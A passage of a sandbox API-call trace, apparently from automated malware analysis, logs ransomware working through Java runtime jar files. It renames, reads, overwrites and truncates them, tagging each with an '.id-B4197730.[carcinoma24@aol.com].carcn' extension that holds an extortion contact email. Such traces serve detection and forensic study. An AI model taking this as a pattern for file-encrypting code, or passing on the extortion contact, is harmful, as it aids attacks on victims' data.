(lpString1=".rar", lpString2=".jar") returned 1 [0307.533] lstrlenW (lpString=".bz2") returned 4 [0307.533] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0307.533] lstrlenW (lpString=".7z") returned 3 [0307.533] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0307.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0307.533] lstrlenW (lpString=".dbf") returned 4 [0307.533] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0307.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0307.534] lstrlenW (lpString=".1cd") returned 4 [0307.534] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0307.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0307.534] lstrlenW (lpString=".jpg") returned 4 [0307.534] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0307.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0307.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0307.534] lstrlenW (lpString=".doc") returned 4 [0307.534] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0307.534] lstrlenW (lpString=".docx") returned 5 [0307.534] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0307.534] lstrlenW (lpString=".pdf") returned 4 [0307.534] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0307.534] lstrlenW (lpString=".xls") returned 4 [0307.534] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0307.534] lstrlenW (lpString=".xlsx") returned 5 [0307.534] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0307.534] lstrlenW (lpString=".ppt") returned 4 [0307.534] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0307.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0307.534] lstrlenW (lpString=".zip") returned 4 [0307.534] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0307.534] lstrlenW (lpString=".rar") returned 4 [0307.534] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0307.534] lstrlenW (lpString=".bz2") returned 4 [0307.534] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0307.534] lstrlenW (lpString=".7z") returned 3 [0307.534] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0307.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0307.535] lstrlenW (lpString=".dbf") returned 4 [0307.535] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0307.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0307.535] lstrlenW (lpString=".1cd") returned 4 [0307.535] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0307.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0307.535] lstrlenW (lpString=".jpg") returned 4 [0307.535] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0307.535] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0307.535] lstrlenW (lpString="jaccess.jar") returned 11 [0307.535] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0307.535] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=44516) returned 1 [0307.535] CloseHandle (hObject=0x388) returned 1 [0307.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0307.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0307.536] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0307.536] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.536] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.536] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0307.537] GetLastError () returned 0x0 [0307.537] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0xade4, lpOverlapped=0x0) returned 1 [0307.538] WriteFile (in: hFile=0x394, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xadf0, lpOverlapped=0x0) returned 1 [0307.540] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.540] WriteFile (in: hFile=0x394, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xea, lpOverlapped=0x0) returned 1 [0307.540] SetEndOfFile (hFile=0x394) returned 1 [0307.541] CloseHandle (hObject=0x394) returned 1 [0307.541] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.541] SetEndOfFile (hFile=0x388) returned 1 [0307.542] CloseHandle (hObject=0x388) returned 1 [0307.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.542] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1 [0307.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0307.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0307.543] lstrlenW (lpString=".doc") returned 4 [0307.543] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0307.543] lstrlenW (lpString=".docx") returned 5 [0307.543] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0307.543] lstrlenW (lpString=".pdf") returned 4 [0307.543] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0307.543] lstrlenW (lpString=".xls") returned 4 [0307.543] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0307.543] lstrlenW (lpString=".xlsx") returned 5 [0307.543] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0307.543] lstrlenW (lpString=".ppt") returned 4 [0307.543] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0307.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0307.543] lstrlenW (lpString=".zip") returned 4 [0307.543] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0307.543] lstrlenW (lpString=".rar") returned 4 [0307.543] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0307.544] lstrlenW (lpString=".bz2") returned 4 [0307.544] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0307.544] lstrlenW (lpString=".7z") returned 3 [0307.544] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0307.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0307.544] lstrlenW (lpString=".dbf") returned 4 [0307.544] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0307.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0307.544] lstrlenW (lpString=".1cd") returned 4 [0307.544] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0307.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0307.544] lstrlenW (lpString=".jpg") returned 4 [0307.544] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0307.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0307.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0307.544] lstrlenW (lpString=".doc") returned 4 [0307.544] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0307.544] lstrlenW (lpString=".docx") returned 5 [0307.544] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0307.544] lstrlenW (lpString=".pdf") returned 4 [0307.544] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0307.544] lstrlenW (lpString=".xls") returned 4 [0307.544] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0307.544] lstrlenW (lpString=".xlsx") returned 5 [0307.544] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0307.544] lstrlenW (lpString=".ppt") returned 4 [0307.544] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0307.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0307.544] lstrlenW (lpString=".zip") returned 4 [0307.545] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0307.545] lstrlenW (lpString=".rar") returned 4 [0307.545] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0307.545] lstrlenW (lpString=".bz2") returned 4 [0307.545] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0307.545] lstrlenW (lpString=".7z") returned 3 [0307.545] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0307.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0307.545] lstrlenW (lpString=".dbf") returned 4 [0307.545] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0307.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0307.545] lstrlenW (lpString=".1cd") returned 4 [0307.545] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0307.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0307.545] lstrlenW (lpString=".jpg") returned 4 [0307.545] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0307.545] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0307.545] lstrlenW (lpString="jfxrt.jar") returned 9 [0307.545] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0307.546] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=18246297) returned 1 [0307.546] CloseHandle (hObject=0x388) returned 1 [0307.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0307.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0307.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0307.547] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0307.547] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc64 | out: lpNewFilePointer=0x0) returned 1 [0307.547] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0307.547] ReadFile (in: hFile=0x388, lpBuffer=0x428d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x428d058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0307.808] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x5cce33, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0307.808] ReadFile (in: hFile=0x388, lpBuffer=0x42cd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x42cd058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0308.226] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38bfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0308.227] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1126a99, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0308.227] ReadFile (in: hFile=0x388, lpBuffer=0x430d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x430d058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0308.887] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0308.887] WriteFile (in: hFile=0x388, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x38bfca8, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfca8*=0xc00fe, lpOverlapped=0x0) returned 1 [0309.372] SetEndOfFile (hFile=0x388) returned 1 [0309.372] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x4504008 [0309.376] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc74 | out: lpNewFilePointer=0x0) returned 1 [0309.376] WriteFile (in: hFile=0x388, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38bfc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x38bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.377] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x5cce33, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc74 | out: lpNewFilePointer=0x0) returned 1 [0309.377] WriteFile (in: hFile=0x388, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38bfc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x38bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.382] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1126a99, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc74 | out: lpNewFilePointer=0x0) returned 1 [0309.382] WriteFile (in: hFile=0x388, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38bfc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x38bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.384] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0309.386] CloseHandle (hObject=0x388) returned 1 [0309.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0309.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0309.386] lstrlenW (lpString=".doc") returned 4 [0309.386] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.386] lstrlenW (lpString=".docx") returned 5 [0309.386] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0309.386] lstrlenW (lpString=".pdf") returned 4 [0309.386] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.386] lstrlenW (lpString=".xls") returned 4 [0309.386] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.386] lstrlenW (lpString=".xlsx") returned 5 [0309.386] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0309.386] lstrlenW (lpString=".ppt") returned 4 [0309.386] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0309.386] lstrlenW (lpString=".zip") returned 4 [0309.386] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.387] lstrlenW (lpString=".rar") returned 4 [0309.387] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.387] lstrlenW (lpString=".bz2") returned 4 [0309.387] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.387] lstrlenW (lpString=".7z") returned 3 [0309.387] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0309.387] lstrlenW (lpString=".dbf") returned 4 [0309.387] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0309.387] lstrlenW (lpString=".1cd") returned 4 [0309.387] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0309.387] lstrlenW (lpString=".jpg") returned 4 [0309.387] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0309.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0309.387] lstrlenW (lpString=".doc") returned 4 [0309.387] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.387] lstrlenW (lpString=".docx") returned 5 [0309.387] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0309.387] lstrlenW (lpString=".pdf") returned 4 [0309.387] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.387] lstrlenW (lpString=".xls") returned 4 [0309.387] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.387] lstrlenW (lpString=".xlsx") returned 5 [0309.387] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0309.387] lstrlenW (lpString=".ppt") returned 4 [0309.387] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0309.387] lstrlenW (lpString=".zip") returned 4 [0309.387] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.387] lstrlenW (lpString=".rar") returned 4 [0309.387] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.387] lstrlenW (lpString=".bz2") returned 4 [0309.387] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.387] lstrlenW (lpString=".7z") returned 3 [0309.387] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0309.388] lstrlenW (lpString=".dbf") returned 4 [0309.388] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0309.388] lstrlenW (lpString=".1cd") returned 4 [0309.388] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0309.388] lstrlenW (lpString=".jpg") returned 4 [0309.388] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.388] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0309.388] lstrlenW (lpString="nashorn.jar") returned 11 [0309.388] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0309.388] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2022734) returned 1 [0309.388] CloseHandle (hObject=0x388) returned 1 [0309.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0309.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0309.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0309.390] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0309.390] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc64 | out: lpNewFilePointer=0x0) returned 1 [0309.390] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0309.390] ReadFile (in: hFile=0x388, lpBuffer=0x428d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x428d058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0309.464] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xa49c4, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0309.464] ReadFile (in: hFile=0x388, lpBuffer=0x42cd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x42cd058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0309.643] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38bfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0309.643] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1add4e, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0309.643] ReadFile (in: hFile=0x388, lpBuffer=0x430d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x430d058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0309.829] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.829] WriteFile (in: hFile=0x388, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x38bfca8, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfca8*=0xc0102, lpOverlapped=0x0) returned 1 [0309.872] SetEndOfFile (hFile=0x388) returned 1 [0309.938] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x4514010 [0309.941] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc74 | out: lpNewFilePointer=0x0) returned 1 [0309.941] WriteFile (in: hFile=0x388, lpBuffer=0x4514010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38bfc80, lpOverlapped=0x0 | out: lpBuffer=0x4514010*, lpNumberOfBytesWritten=0x38bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.943] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xa49c4, 